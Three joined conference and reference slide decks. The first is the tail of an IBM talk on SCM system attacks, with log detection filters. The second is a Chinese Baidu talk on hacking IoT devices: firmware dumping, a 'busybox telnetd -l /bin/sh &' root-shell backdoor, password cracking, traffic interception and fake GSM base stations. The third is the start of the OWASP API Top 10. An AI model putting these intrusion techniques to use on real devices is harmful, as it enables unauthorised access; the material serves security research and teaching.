IBM Security / © 2022 IBM Corporation
Example - Persistence
Demos
IBM Security / © 2022 IBM Corporation
64
65
IBM Security / © 2022 IBM Corporation
Demo 1: Software Supply Chain Attack - Repository Takeover on GitHub Enterprise
Demo 2: Lateral Movement from GitLab Enterprise to Artifactory
Demo 3: Lateral Movement from Bitbucket to Jenkins
Demos
Defensive Considerations
IBM Security / © 2022 IBM Corporation
66
67
IBM Security / © 2022 IBM Corporation
• Static signatures in YARA rule file in SCMKit repo
• Static user agent string
• SCMKIT-5dc493ada400c79dd318abbe770dac7c
• All access token and SSH key names created in SCM systems prepended with
“SCMKIT-”
SCMKit
GitHub Enterprise – Important Logs
68
IBM Security / © 2022 IBM Corporation
Log Name
Location
Audit Log
/var/log/github-audit.log*
Management Log
/var/log/enterprise-manage/unicorn.log*
HAProxy Log
/var/log/haproxy.log
GitHub Enterprise – Log Filters
69
IBM Security / © 2022 IBM Corporation
Attack Scenario
Log Name
Search Filter
Reconnaissance
HAProxy Log
('/search' OR '/api/v3/search') AND 'http'
Repository Takeover
Audit Log
'action:repo.staff_unlock'
User Impersonation
Audit Log
'action:staff.fake_login'
OR
'action:oauth_access.create'
OR
'action:oauth_authorization.create'
Promoting User to Site Admin
Audit Log
'action:user.promote'
OR
'action:business.add_admin'
Maintaining Persistent Access Audit Log
'action:oauth_access.create'
OR
'action:oauth_authorization.create'
OR
'action:public_key.create'
OR
'action:public_key.verify'
Management Console Access
Management Log 'authorized-keys' AND 'post'
GitLab Enterprise – Important Logs
70
IBM Security / © 2022 IBM Corporation
Log Name
Location
Application Log
/var/log/gitlab/gitlab-rails/application.log
/var/log/gitlab/gitlab-rails/application_json.log
Production Log
/var/log/gitlab/gitlab-rails/production_json.log
/var/log/gitlab/gitlab-rails/production.log
API Log
/var/log/gitlab/gitlab-rails/api_json.log
Web Log
/var/log/gitlab/nginx/gitlab_access.log
GitLab Enterprise – Log Filters
71
IBM Security / © 2022 IBM Corporation
Attack Scenario
Log Name
Search Filter
Reconnaissance
Production Log
API Log
Web Log
'get' AND '/search?search'
'get' AND '/search'
'get' AND ('/search'| OR 'repository/tree')
'search'
User Impersonation
Application Log
Production Log
API Log
'has started impersonating'
'impersonate'
'post' AND 'impersonation_tokens'
'impersonation_tokens'
Promoting User to Admin Role
Production Log
API Log
'patch' AND 'admin/users'
'put' AND '"key":"admin","value":"true"'
Maintaining Persistent Access
Production Log
API Log
'post' AND 'personal_access_tokens'
'post' AND 'profile/keys'
'post' AND 'personal_access_tokens'
'post' AND 'user/keys'
Modifying CI/CD Pipeline
Production Log
'post' AND
'/api/graphql'
AND
'.gitlab-ci.yml'
AND 'update'
Bitbucket – Important Logs
72
IBM Security / © 2022 IBM Corporation
Log Name
Location
Access Log
/var/atlassian/application-data/bitbucket/log/atlassian-bitbucket-
access.log
Audit Log
/var/atlassian/application-data/bitbucket/log/audit/*.log
Bitbucket Log
/var/atlassian/application-data/bitbucket/log/atlassian-bitbucket.log
Bamboo Log
$BAMBOO_HOME/atlassian-bamboo.log
Bitbucket – Log Filters
73
IBM Security / © 2022 IBM Corporation
Attack Scenario
Log Name
Search Filter
Reconnaissance
Bitbucket Log
'post' AND 'search' AND 'query'
Promoting User to Site Admin
Access Log
Audit Log
'put' AND '/admin/permissions/users'
'new.permission' AND 'admin'
Maintaining Persistent Access
Access Log
Audit Log
'put' AND '/rest/access-tokens’
'post' AND 'ssh/account/keys/add'
'personal access token created'
'user added ssh access key'
Modifying CI/CD Pipeline
Bamboo Log
'change detection found'
74
IBM Security / © 2022 IBM Corporation
Personal Access Tokens and SSH Keys
•
Set automatic expiration date
•
Do not allow creation with no expiration date
Access and Authorization
•
Limit the number of administrative users
•
Enable multi-factor authentication
•
Disable user impersonation
SCM System Configuration Guidance
75
IBM Security / © 2022 IBM Corporation
Repository Access and Code Commits
•
Policy of least privilege
•
Code branches deleted in a timely manner
•
Require at least one approver for each code commit
•
Require signed commits via GPG keys or S/MIME certificates
Logging
•
Increase logging level to detect reconnaissance where applicable
•
Forward important logs to SIEM
SCM System Configuration Guidance
Conclusion
IBM Security / © 2022 IBM Corporation
76
77
IBM Security / © 2022 IBM Corporation
• SCM systems contain some of most sensitive information in organizations
• Compromise of SCM system can lead to compromise of multiple organizations
• SCM systems need more visibility and research from information security community
Conclusion
78
IBM Security / © 2022 IBM Corporation
Thank You to the below people for feedback and support on this research
•
Chris Thompson (@retBandit)
•
Daniel Crowley (@dan_crowley)
•
Dimitry Snezhkov(@Op_nomad)
•
Patrick Fussell (@capt_red_beardz)
•
Ruben Boonen (@FuzzySec)
Acknowledgements
79
IBM Security / © 2022 IBM Corporation
Twitter: @h4wkst3r
Discord: @h4wkst3r#9627
Blog Post:
https://securityintelligence.com/posts/abusing-source-code-management-systems
Whitepaper:
https://www.ibm.com/downloads/cas/OG6KNX1E
Questions?
Appendix - References
81
IBM Security / © 2022 IBM Corporation
•
https://www.cisa.gov/publication/software-supply-chain-attacks
•
https://github.com/enterprise
•
https://about.gitlab.com/enterprise/
•
https://bitbucket.org/product/
•
https://www.redhat.com/architect/devops-cicd
•
https://medium.com/aws-cyber-range/secdevops-101-strengthen-the-basics-20f57197aa1c
•
https://devops.com/the-basics-devsecops-adoption
•
https://www.crowdstrike.com/cybersecurity-101/cyberattacks/supply-chain-attacks/
•
https://www.mandiant.com/resources/evasive-attacker-leverages-solarwinds-supply-chain-compromises-with-
sunburst-backdoor
•
https://opensource.googleblog.com/2021/10/protect-your-open-source-project-from-supply-chain-attacks.html
•
https://www.jenkins.io/
•
https://www.jenkins.io/doc/book/pipeline/jenkinsfile/
Appendix - References
82
IBM Security / © 2022 IBM Corporation
•
https://www.jenkins.io/doc/book/pipeline/
•
https://www.jenkins.io/doc/book/using/remote-access-api/
•
https://docs.gitlab.com/runner/
•
https://docs.gitlab.com/ee/api/runners.html
•
https://docs.gitlab.com/ee/ci/yaml/
•
https://docs.github.com/en/[email protected]/get-started/quickstart/github-glossary
•
https://docs.github.com/en/[email protected]/admin/user-management/managing-users-in-your-
enterprise/roles-in-an-enterprise
•
https://docs.github.com/en/[email protected]/organizations/managing-peoples-access-to-your-organization-
with-roles/roles-in-an-organization
•
https://docs.github.com/en/[email protected]/organizations/managing-access-to-your-organizations-
repositories/repository-roles-for-an-organization
•
https://docs.github.com/en/developers/apps/building-oauth-apps/scopes-for-oauth-apps#available-scopes
•
https://docs.github.com/en/[email protected]/rest/guides/getting-started-with-the-rest-api
Appendix - References
83
IBM Security / © 2022 IBM Corporation
•
https://docs.github.com/en/[email protected]/rest/reference/search#search-repositories
•
https://docs.github.com/en/[email protected]/rest/reference/search#search-commits
•
https://docs.github.com/en/[email protected]/rest/reference/search#search-code
•
https://docs.github.com/en/[email protected]/rest/reference/enterprise-admin#create-an-impersonation-
oauth-token
•
https://docs.github.com/en/[email protected]/rest/reference/enterprise-admin#promote-a-user-to-be-a-site-
administrator
•
https://docs.github.com/en/[email protected]/rest/reference/users#create-a-public-ssh-key-for-the-
authenticated-user
•
https://docs.github.com/en/[email protected]/admin/configuration/configuring-your-enterprise/command-
line-utilities
•
https://docs.gitlab.com/ee/user/index.html
•
https://docs.gitlab.com/ee/user/permissions.html#project-members-permissions
•
https://docs.gitlab.com/ee/user/permissions.html#group-members-permissions
Appendix - References
84
IBM Security / © 2022 IBM Corporation
•
https://docs.gitlab.com/ee/user/permissions.html#gitlab-cicd-permissions
•
https://docs.gitlab.com/ee/user/permissions.html#job-permissions
•
https://docs.gitlab.com/ee/user/profile/personal_access_tokens.html#personal-access-token-scopes
•
https://docs.gitlab.com/ee/api/index.html
•
https://docs.gitlab.com/ee/api/search.html#scope-projects
•
https://docs.gitlab.com/ee/user/search/advanced_search.html
•
https://docs.gitlab.com/ee/api/repositories.html#list-repository-tree
•
https://docs.gitlab.com/ee/api/search.html#scope-blobs-premium-2
•
https://docs.gitlab.com/ee/administration/audit_events.html#impersonation-data
•
https://docs.gitlab.com/ee/api/users.html#create-an-impersonation-token
•
https://docs.gitlab.com/ee/api/users.html#user-modification
•
https://docs.gitlab.com/ee/api/users.html#create-a-personal-access-token
Appendix - References
85
IBM Security / © 2022 IBM Corporation
•
https://docs.gitlab.com/ee/api/users.html#add-ssh-key
•
https://www.atlassian.com/software/bitbucket/enterprise
•
https://bitbucket.org/product/guides/getting-started/overview#key-terms-to-know
•
https://confluence.atlassian.com/bitbucketserverkb/4-levels-of-bitbucket-server-permissions-779171636.html
•
https://confluence.atlassian.com/bitbucketserver/global-permissions-776640369.html
•
https://confluence.atlassian.com/bitbucketserver/using-project-permissions-776639801.html
•
https://confluence.atlassian.com/bitbucketserver/using-repository-permissions-776639771.html
•
https://confluence.atlassian.com/bitbucketserver/using-branch-permissions-776639807.html
•
https://confluence.atlassian.com/bitbucketserver/http-access-tokens-939515499.html
•
https://developer.atlassian.com/server/bitbucket/reference/rest-api/
•
https://docs.atlassian.com/bitbucket-server/rest/7.20.0/bitbucket-rest.html#idp450
•
https://docs.atlassian.com/bitbucket-server/rest/4.5.1/bitbucket-rest.html#idp3716336
Appendix - References
86
IBM Security / © 2022 IBM Corporation
•
https://docs.atlassian.com/bitbucket-server/rest/7.20.0/bitbucket-access-tokens-rest.html
•
https://docs.atlassian.com/bitbucket-server/rest/7.20.0/bitbucket-ssh-rest.html
•
https://www.atlassian.com/software/bamboo
•
https://docs.atlassian.com/bamboo-specs-docs/8.1.2/specs.html?yaml#
•
https://docs.atlassian.com/bamboo-specs-docs/8.1.2/specs.html?java#
•
https://github.com/xforcered/SCMKit
•
https://krebsonsecurity.com/2022/04/leaked-chats-show-lapsus-stole-t-mobile-source-code/
•
https://threatpost.com/microsoft-lapsus-compromised-one-employees-account/179048/
•
https://techcrunch.com/2022/03/30/lapsus-globant-breach/
•
https://www.bleepingcomputer.com/news/security/hackers-leak-190gb-of-alleged-samsung-data-source-code/
•
https://securityintelligence.com/posts/abusing-source-code-management-systems
•
https://www.ibm.com/downloads/cas/OG6KNX1E | pdf |
针对智能设备漏洞挖掘的
一些新方法
小灰灰
百度安全实验室 高级安全研究员
30-May2019
2
关于我
百度安全实验室 高级安全研究员
研究领域:IoT安全/AI安全/无人车安全
多次破解硬件设备
之前负责:
• BSRC、应急处置、0day分析
• 百度产品 安全评估
• 百度安全监控体系建设
传统IOT设备的破解
路由器?
固件下载
Binwalk解包
找到有问题的bin(why?)
IDA分析、WEB 脚本文件分析
漏洞验证(真机or QEMU测试)
大多数 好像都是漏洞分析
现在?
IOT设备越来越多种多样,
not only 路由器
大厂也不会让你轻易破解
•
固件不提供下载
•
telnet、串口、ADB都关闭
•
甚至都无从下手
怎么办???
似乎有着相似的结构
操作系
统及
硬件
完整的Android、Linux
发行版,
ARMv5/6/7/x86处理器
EMMC/EMCP/NAND存
储存储
Openwrt、精简内核的
Linux,ARM、Mips处
理器,NAND/SPI Flash
存储
RTOS实时、精简内核的
Linux,ESP乐鑫、
Arduion片上系统、AVR、
STM32系列,SPI Flash存
储
应用场
景
智能音箱、智能手表、
自动售货机、电视盒子、
智能电视、智能广告牌、
车机
路由器、mini版智能音
箱、智能摄像头
智能门锁、智能电饭煲、
智能插座、智能灯、智能
手环
特点
较多功能、较大的存储、
易于开发APP的载体、
大多有大屏幕
单一但高级功能、无需
屏幕展示内容or小尺寸
屏幕
功能单一简单但大多有通
过网络进行简单控制,模
拟电路无法实现
第0步:拆!
做到心中有数,减少弯路
• 有没有搞头,用了哪些芯片解决方案
• 没有思路时 哪些地方还可以搞
搜索芯片型号信息、datasheet
重点关注:
• 存储类型及规格
• SPI Flash 8/16/宽窄
• EMMC/EMCP 100/153/162/169/186/221/254
• NandFlash TSOP32/40/48
• TTL及JTAG接口(如何寻找)
• 通信模块(以太、蓝牙、wifi、234G)
图片来自:https://www.crowdsupply.com/teardown/portland-2018
云拆解--寻找攻击目标的好方法
Google xxx teardown
论坛(拆客论坛)
Ifixit.com
• 包含著名厂商硬件设备
• 图片清晰、标注
Fccid.io
• 所有带有无线功能、在国外发行的设备
• 种类繁多
• 技巧:搜索 site:fccid.io internal photos xxx
特斯拉钥匙使用的主控-在fccid.io网站上搜索到
Kindle Fire 的存储结构-在ifixit网站上搜索到
第一步 准备工作:随心所欲的控制、获取
控制&获取
• 获取文件系统
• Getshell (更方便的分析,查看网络、文件、进程)
• 获取、控制网络数据
最终根据这些已有内容,进行综合分析,寻找有效漏洞
Tips:并没有完全的先后顺序,同步穿插进行
• 例如getshell后直接就可以获取固件了,或者dump获取固件进行修改后便getshell了
• 例如获取交互数据,可以拿到升级连接,直接获取固件下载地址
准备工作-获取固件
目的:
• 了解OS 及文件系统结构,关注关键目录(/etc /home /usr/bin …,如果是Android, /system/priv-
app)
• 分析启动脚本(/etc/inittab /etc/init.d),加载的二进制文件以及配置文件
• 分析web目录文件(CGI、PHP、Lua…..)
• 方便恢复到老版本系统(例如开启了telnet),分析更方便
• 固件也可能是新版本APK,逆向分析之
• Chroot到对应处理器的QEMU,方便分析二进制&web
准备工作-获取固件
方法:
• 官网下载
• 自升级,监听数据包(如果查询版本,需要截取修改低版本。特殊信道)
• 升级app逆向分析,升级流程逆向分析(访问ftp)
• 求助论坛、好心网友(行业维修论坛)
• 万能的客服(帮忙救砖)
• 获取shell(telnet、ssh、adb…),dump 固件(dd、tar,nc转出)
• 进入BootLoader 读取存储器
• 特殊主控读取方式(例如MTK、NXP系列,可以通过数据线口获取/刷写文件系统)
But,有时这些都不奏效
物理Dump
当常规方法无法轻易获取固件
• 大厂设备固件都是加密的,binwalk等无法解开
• 没有固件升级流程,固件写死不变
• 固件通过GPRS升级,无法干预(实际我们可以干预☺)
• TTL关闭、telnet关闭、BootLoader无法停止进入
那么就开拆,物理dump
• 针对不同型号,采取不同读取方式
• 步骤:
• 选择读取设备、方式(在线 or 离线)
• 对固件进行处理
物理Dump-SPI Flash
针对SPI Flash(对应简单设备、路由设备)
• 串行读写设备,常见容量4/8/16MB,8针脚 SPI接口
• 结构:
• 完整操作系统:Bootloader+内核+文件系统,大多采用压缩
• 仅仅存储数据、配置文件等
• 读写方法:
• Arduino+EEPROM 库
• Raspberry SPI接口+ flashrom
• 编程器读取更快捷(RT809H)
• 免拆焊(勾针、夹子),但有时不奏效(CPU被加电),建议拆下来
• 可直接修改固件、getshell,注意文件结构
• 文件系统、偏移:启动信息获取、binwalk获取
• 焊接下来->解包->修改->重打包->dd偏移、合并->刷写回去->焊接回去
物理Dump-SPI Flash-获取文件系统结构
Subtitle (if needed)
通过console信息输出获取
通过shell命令获取
通过binwalk获取
物理Dump-NandFlash
针对NandFlash(对应较复杂设备例如高级路由、
智能音箱)
• 16MB-2GB容量,TSOP48/BGA封装,按块读写
• 拖焊新手经常出问题,推荐使用热风枪拆焊(注意保护周围元件)
• 结构:完整Linux/Android系统,大多不需要压缩解压
• 读写方法:
• 有效针脚17+ ,需使用编程器读取,例如RT809H
• 有坏块管理,但是管理较低级,写入比较繁琐
坑:获取的bin固件 通常binwalk无法解开,需对binwalk进行修改,
或者去除ECC校验位数据
此类设备处理比SPI Flash和EMMC麻烦,且文件系统格式各家不统
物理Dump-EMMC/EMCP
EMMC与Nand Flash的关系
EMMC=NAND闪存+闪存控制
芯片+标准接口封装
Nand Flash
EMMC
物理Dump-EMMC/EMCP
针对EMMC/EMCP(对应复杂设备例如智能电视、手
机)
可近似理解成SD卡
全部为BGA封装,规格100/153/162/169/186/221(实际这4种占95%)
离线读写:
• 采用热风枪吹焊(注意保护周围元件),专用读取座+编程器or 直接在芯
片上飞线读取
• 焊接采用植锡法,对焊接技术要求高,需要多练习
在线读写(不需要焊接下来):
• 需要寻找or已知关键焊点,非常细小,焊接要求高(寻找方法?)
• 直接飞线最少DAT0、CMD、CLK、GND、(VCC、VCCQ)到SD读卡器,
不需拆焊,注意需要短接晶振
物理Dump-植锡过程视频
离线读写
保护芯片
使用编程器
使用专用读写座
直接焊接到SD卡上
直接在存储芯片上飞
线,连接到SD读卡
器
在线读写
某款车机系统在线读写
准备工作-Getshell
目的:
• Getshell后直接tar导出文件系统(固件),分析bin、web脚本
• 更方便的查看数据,例如查看端口、进程、网络、文件
• 搭建测试环境,编译好的测试工具
• 方便的在线调试(有时lib库、硬件限制,QEMU很难离线run起来)
总之,能getshell就是最理想的破解前提环境
• 如果通过远程getshell了,其实已经完成了破解
准备工作-Getshell
方法:
扫描端口,寻找是否开启telnet、ssh、adb服务等
• 使用快速扫描,masscan、nmap -sS
• 密码&hash可以在固件里找,离线破解(如何加速破解?)
lsusb,查看是否开启usb adb
寻找web上传漏洞、命令注入漏洞等
在线or离线修改存储
• 例如init启动项中添加:busybox telnetd -l /bin/sh &
• 对于采用EMMC存储结构,修改非常方便
寻找板上TTL针脚
• 明显标注
• 根据CPU datasheet
使用hashcat破解ssh、telnet密码
使用nmap进行快速扫描
使用masscan进行快速扫描
准备工作-Getshell
方法:
修改Bootloader启动参数
• 强制进入uboot配置模式,修改内核参数 例如添加<空格> 1 ,进入单用户模式
• 使用JTAG接口修改内核参数
准备工作-Getshell
方法:
使用JTAG修改内核参数 获取shell
• 设备需要具有JTAG口,并且有对应JTAG设备、CPU配置文件
• 软件推荐OpenOCD,支持CPU种类多 硬件推荐jlink
• 修改启动参数
• 固件中寻找启动参数位置
• 添加断点
• 修改启动参数,例如添加<空格> 1 ,进入单用户模式
• 引导内核,console 串口获取shell
准备工作-获取通信数据
目的:
• 了解工作逻辑(辅助分析,例如根据http请求寻找加密代码)
• 获取cookie、token等认证信息,敏感隐私数据
• 获取服务器接口,以便渗透服务器(授权渗透)
• 截获修改数据包,或根据已知数据包构造重放
• 最终下发合法指令、构造poc、拿到关键key等
通常使用Wifi/234G/蓝牙/低功耗蓝牙/红外/有线/其他频段无线电
准备工作-获取通信数据
方法:针对IP数据(TCP、UDP、HTTP、MQTT等)
Wifi:
• 实时wireshark:
• 开启无线热点并连接,wireshark直接监听这块网卡
• Android adb forward + tcpdump + 管道 给 PC机wireshark
• 在路由设备上抓包
• 如果是Android APP,直接在本机模拟器运行,监听本网卡
• 如果是HTTP、HTTPS,设置代理,
• 交叉编译tcpdump(arm、mips),-A选项or –w
• 如果远端设备,arp中间人
• 如果远端设备,且动作小:wifi实时解密(强大网卡支持,例如RTL8812U)
设置wpa/wpa2实时解密
如果通讯数据全是密文
SSL/TLS 加密信道
• https代理
• 如果验证证书,导入burp根证书
• Android中:
• Xposed bypass 强制不验证证书
• Hook大法(okhttp)
AES\DES等对称加密,采用TCP传输
• 逆向分析APP、二进制,获取秘钥
• Android中:Hook大法(Crypto)
对常用的http操作库okhttp进行hook
对java自带的加解密库crypto进行hook
关于hook(针对Android)
框架
• Xposed:
• 仅支持java层面hook
• 适合批量部署 安装
• CydiaSubstrate:
• 支持java/native
• 不开源,且不更新无法适配新Android系统
• Frida:
• 适合破解使用
• 支持java/native,支持多平台,适配最新系统
工具
集成了http、加解密、sql查询、文件操作、IPC、
自定义hook的功能
• 基于Xposed:
• Inspeckage
• https://github.com/ac-pm/Inspeckage
• 基于Frida:
• appmon
• https://github.com/dpnishant/appmon
Hook什么?
敏感操作hook
• 对称加密key、明文密文
• Sqlite查询(判断是否有注入、有助理解逻辑)
• http、https请求内容
• Hash调用情况
• 其他(webView、序列化、文件系统操作、SharedPreference、IPC等)
目标函数自定义hook
• 获取返回值
• 修改返回值
• 如何确定hook 的class、method(trace)
Subtitle (if needed)
使用Inspeckage Hook http请求
使用Inspeckage 自定义hook
Subtitle (if needed)
使用Inspeckage hook AES加密
获取通信数据-其他信道
234G:
• 需要远端通信的设备,例如自动售货、共享单车锁等等
• 开发人员通常认为这个信道十分安全,很少考虑加固
• 通过假基站GPRS劫持,可以完全控制与基站连接的网络流量
• 根据运营商网络互通问题,也可以进行远程访问触发漏洞
蓝牙:
• 现阶段主要以低功耗蓝牙为主,例如运动手环、智能温度计、蓝牙开锁等
• 开发人员通常认为这个信道十分安全,基本很少考虑加固,多存在密钥泄露
• 传统蓝牙分析只能跟踪广播包,山寨设备可以跟踪跳频
• 手机调试模式开启蓝牙log,简单稳定
针对234G设备的流量访问、嗅探、MITM
• 2G网络由于手机无法对基站进行认证,存在假基站风险
• 搭建GSM基站系统(合法条件下测试)
• 硬件:Bladerf(相对其他SDR设备,精度高)
• 软件:YateBTS(图形化界面/安装方便)
• 如何让智能设备自动连接到假基站
• 借鉴伪基站给手机发短信的思路:增大小区重选参数C1、C2
• 修改YateBTS源码实现
• 详细内容可以参考我将要再Defcon China上关于这方面的议题
• 攻击:获取流量、MITM、访问端口触发….
• 其他简单方法:
• 运营商网络互通(10 or 172网段),买两张sim卡,可以触发基
于端口的漏洞
第二步-分析
结合已有文件、网络请求、shell
• Netstat –tunlp 看监听端口对应进程,分析之
• 命令注入,例如fopen()中的内容可以控制
• 危险函数导致溢出,例如strcpy()
• 如果没有shell,就端口扫描,无状态扫描
• 如果有web
• 确定配置文件、web源文件
• 对web页面进行漏洞挖掘(php、cgi、lua脚本等)
• 根据网络访问定位关键代码位置(反编译、关键词、trace),获取加密逻辑,获取接口参数格式
最终获取到关键数据,或者下发指令
分析举例:某自动售货机 核心逻辑问题
Subtitle (if needed)
Bin文件中泄露FTP升级服务器密码
支付服务未验签导致0元支付
可以控制其他售货机任意更新固件
两款手表 信息泄露及配置修改
Subtitle (if needed)
云端登录过程泄露密钥
云端交互过程中MITM修改配置
某共享车锁 信息泄露及解密
Subtitle (if needed)
与云端加密传输
分析固件,获取密钥及升级协议
某通讯模块 FTP server协议存在命令注入
Subtitle (if needed)
一些必备技能、小tips
• 焊接技能
• 烙铁焊接,拆焊、拖焊、吸锡、洗板,不连焊&脱焊
• 热风枪拆焊焊接,植球植锡 (低温锡浆)
• 飞线
• 买正品白光烙铁,调温&8秒升温不老化
• APK反编译、hook、动态调试、Java代码阅读
• Web攻防,源码审计能力
• Python、Java编码能力
• 简单的二进制逆向分析
• Wireshark TCP、HTTP数据包分析
• 熟悉跨平台、交叉编译
一些必备技能、小tips
• 常用工具:
• 准备好多平台下的gdb、tcpdmp、telnetd、nmap、masscan….
• 好朋友 多平台下的busybox
• 常用命令:
• busybox netstat -tunlp
• busybox telnetd -l /bin/sh &
• tcpdump -i xxx not tcp port xxxx -A
• nmap -sS -PN -T5
Q&A | pdf |
1
目录
关于OWASP
“开源Web应用安全项目”(OWASP)是一个开放
的社区,致力于帮助各企业组织开发、购买和维护可信任
的应用程序。
在OWASP ,您可以找到以下免费和开源的信息:
• 应用安全工具和标准;
• 关于应用安全测试、安全代码开发和安全代码审查
方面的完整书籍;
• 演示文稿和视频;
• 关于常见风险的Cheat Sheets;
• 标准的安全控制和安全库;
• 全球各地分会;
• 尖端技术研究;
• 专业的全球会议;
• 邮件列表。
更多信息,请访问: https://www.owasp.org。
更多中文信息,请访问:http://www.owasp.org.cn/。
所有的OWASP工具、文档、论坛和全球各地分会都
是开放的,并对所有致力于改进应用程序安全的人士开放。
我们主张将应用程序安全问题看作是人、过程和技术
的问题,因为提供应用程序安全最有效的方法是在这些方
面提升。
OWASP是一个新型组织。我们没有商业压力,使得
我们能够提供无偏见、实用、低成本的应用安全信息。
尽管OWASP支持合理使用商业安全技术,但OWASP
不隶属于任何技术公司。和许多开源软件项目一样,
OWASP以一种协作、开放的方式制作了许多不同种类的
材料。
OWASP基金会是确保项目长期成功的非营利性组织。
几乎每一个与OWASP相关的人都是一名志愿者,这包括
了OWASP董事会、全球各地分会会长、项目领导和项目
成员。
我们用资金和基础设施来支持创新的安全研究。
我们期待您的加入!
TOC 目录
TOC 目录……………………………………………..
1
FW 前言
……………..…………………………….
2
I 简介
……..………………………….……………..
3
RN 发布说明
……..………………......................
4
Risk API安全风险
…………………..…...............
5
T10 OWASP API 安全Top 10 – 2019……………...
6
API1:2019 失效的对象级别授权 …………………...
7
API2:2019 失效的用户身份验证……………...…….
8
API3:2019 过度的数据暴露………………………….
9
API4:2019 资源缺乏和速率限制……………………
10
API5:2019 失效的功能级授权……………………….
11
API6:2019 批量分配………………………………….
12
API7:2019 安全配置错误..…………………………..
13
API8:2019 注入……………………………………….
14
API9:2019 资产管理不当…………….……………...
15
API10:2019 日志和监控不足………………………..
16
+D 开发人员下一步做什么?.….……………………
17
+DSO DevSecOps下一步做什么?……….……….
18
+DAT 方法和数据……….…………………………...
19
+ACK 致谢…………..……….……………………….
20
https://owasp.org
本文档的发布基于
《Creative Commons Attribution Share-Alike 4.0 license》。
2
FW
前言
在当今应用驱动的世界中,创新的一个基本要素是应用程序编程接口(API)。从银行、零
售、运输到物联网、自动驾驶汽车、智能城市,API都是现代移动、SaaS 和 Web应用程序的一个
关键组成部分,并且在面向客户、面向合作伙伴和面向内部的应用中都会使用到。
一般来说,API会公开应用程序的逻辑和敏感数据,如:个人识别信息(PII),正因为如此,
API越来越成为攻击者的目标。如果没有安全的 API,快速创新将不可能。
虽然更为宽泛的 OWASP Top 10仍然具有重要意义,但由于API的特殊性质,我们需要一份特
定的API安全风险清单。API安全聚焦于策略和解决方案,以便理解并且缓解与API相关的独特脆
弱点和安全风险。
如果您熟悉 OWASP Top 10,那么您会发现这两个文件之间的相似之处:它们的目的都是为
了更容易阅读和被采纳。如果您还不熟悉OWASP Top 10系列,您可能需要先阅读本文 API 安全
风险部分和方法和数据部分,然后再阅读十大风险列表。
您可以在我们Github上的项目仓库为OWASP API Top 10提出您的问题、意见和想法。
• https://github.com/OWASP/API-Security/issues
• https://github.com/OWASP/API-Security/blob/master/CONTRIBUTING.md
您可以在以下链接找到《OWASP API 安全 Top 10》:
• https://www.owasp.org/index.php/OWASPAPISecurity_Project
• https://github.com/OWASP/API-Security
我们感谢所有这个项目的贡献者,并将他们全部列致谢部分。谢谢您们!
3
I
简介
欢迎参阅2019年版《OWASP API 安全 Top 10》!
欢迎阅读第一版《OWASP API 安全 Top10》。如果您熟悉 OWASP Top 10系列,您会注
意到它们之间的相似之处:它们的目的都是为了更容易阅读和被采纳。但是如果您不熟悉这个
系列,请考虑先访问 OWASP API 安全项目的维基页面,然后再深入挖掘最关键的API安全风
险。
API 在现代应用程序架构中发挥着非常重要的作用。虽然安全意识和创新发展不同步,但
专注于常见的 API 安全弱点仍然很重要。
OWASP API 安全 Top 10的主要目的是教育在 API 开发和维护期间的参与者,例如,开
发人员、设计师、架构师、管理人员或组织机构。
在方法和数据部分,您可以阅读有关我们是如何创建本文第一版的更多信息。在未来的版
本中,我们希望让安全从业人员参与,并公开征集数据。现在,我们鼓励每个人通过我们的
GitHub 仓库或邮件列表提出问题、评论和想法。
4
这是第一版《OWASP API 安全 Top 10》,我们计划每三或四年更新一版。
与这个版本不同,在未来的版本中,我们希望公开征集数据,让安全行业的同行参与这项
工作。在方法和数据部分中,您将了解到我们如何构建此版本的详细信息。若想了解更多有关
安全风险的详细信息,请参阅API 安全风险部分。
重要的是要认识到,在过去的几年里,应用程序架构发生了显著变化。目前,API在微服
务、单页应用程序(SPA)、移动应用程序、物联网(IoT)等新体系架构中扮演着非常重要的
角色。
OWASP API 安全 Top 10是一项必要的工作,旨在提高人们对现代 API 安全问题的认识。
由于志愿者们的不懈努力,这项工作才成为可能。这些志愿者都列在致谢部分。参与本中文版
本项目的成员名单也列在致谢部分。
谢谢!
RN
发布说明
5
API安全风险
本项目采用了OWASP风险评级方法进行风险分析。
下表汇总了与风险评分相关的术语。
注意:此方法没有考虑威胁来源的可能性。它也没有考虑与特定应用程序相关的各种技术细节。
这些因素都可能影响攻击者发现和利用特定漏洞的总体可能性。这个评估方法也没有考虑到您
业务的实际影响。基于企业文化、行业和监管环境,您的组织将决定接受多少应用程序和 API
带来的安全风险。OWASP API 安全 Top 10的目的不是为您做风险分析。
威胁来源
可利用性
弱点普遍性
弱点可检测性
技术影响
业务影响
API详情
易:3
广泛:3
易:3
严重:3
业务详情
平均:2
常见:2
平均:2
中等:2
难:1
少见:1
难:1
小:1
参考资料
OWASP资料
• OWASP Risk Rating Methodology
• Article on Threat/Risk Modeling
外部资料
• ISO 31000: Risk Management Std
• ISO 27001: ISMS
• NIST Cyber Framework (US)
• ASD Strategic Mitigations (AU)
• NIST CVSS 3.0
• Microsoft Threat Modelling Tool
Risk
6
T10
OWASP API 安全 Top 10 – 2019
API1:2019-失效的对象级别授权
API倾向于公开处理对象标识符的端点,从而产生广泛的
攻击表层访问控制问题。在使用用户输入访问数据源的每
个函数中,都应考虑对象级授权检查。
API2:2019-失效的用户身份验证
身份验证机制的实现往往不正确,使得攻击者能够破坏身
份验证令牌或利用漏洞临时或永久地盗用其他用户的身份。
破坏了系统识别客户端/用户的能力,损害API的整体安全
性。
API3:2019-过度的数据暴露
依赖通用方法,开发人员倾向于公开所有对象属性而不考
虑其各自的敏感度,依赖客户端在向用户显示数据前执行
数据筛选。
API4:2019-资源缺乏和速率限制
API 通常不会对客户端/用户可以请求的资源的大小或数量
施加任何限制。这不仅会影响 API 服务器的性能,导致拒
绝服务(DoS),而且还会为诸如暴力破解等身份验证缺
陷敞开大门。
API5:2019-失效的功能级授权
具有不同层次结构、组和角色的复杂访问控制策略,以及
管理功能和常规功能之间不明确的分离,往往会导致授权
漏洞。通过利用这些漏洞,攻击者可以访问其他用户的资
源和/或管理功能。
API6:2019-批量分配
将客户端提供的数据(例如 JSON)绑定到数据模型,而
无需基于白名单进行适当的属性筛选,通常会导致批量分
配。无论是猜测对象属性、探索其他 API 端点、阅读文档
或在请求负载中提供其他对象属性,攻击者都可以修改它
们不被允许修改的对象属性。
API7:2019-安全配置错误
安全错误配置通常是由于不安全的默认配置、不完整或临
时配置、开放云存储、配置错误的HTTP 头、不必要的
HTTP 方法、允许跨域资源共享(CORS)和包含敏感信
息的详细错误消息造成的。
API8:2019-注入
当不受信任的数据作为命令或查询的一部分发送给解释器
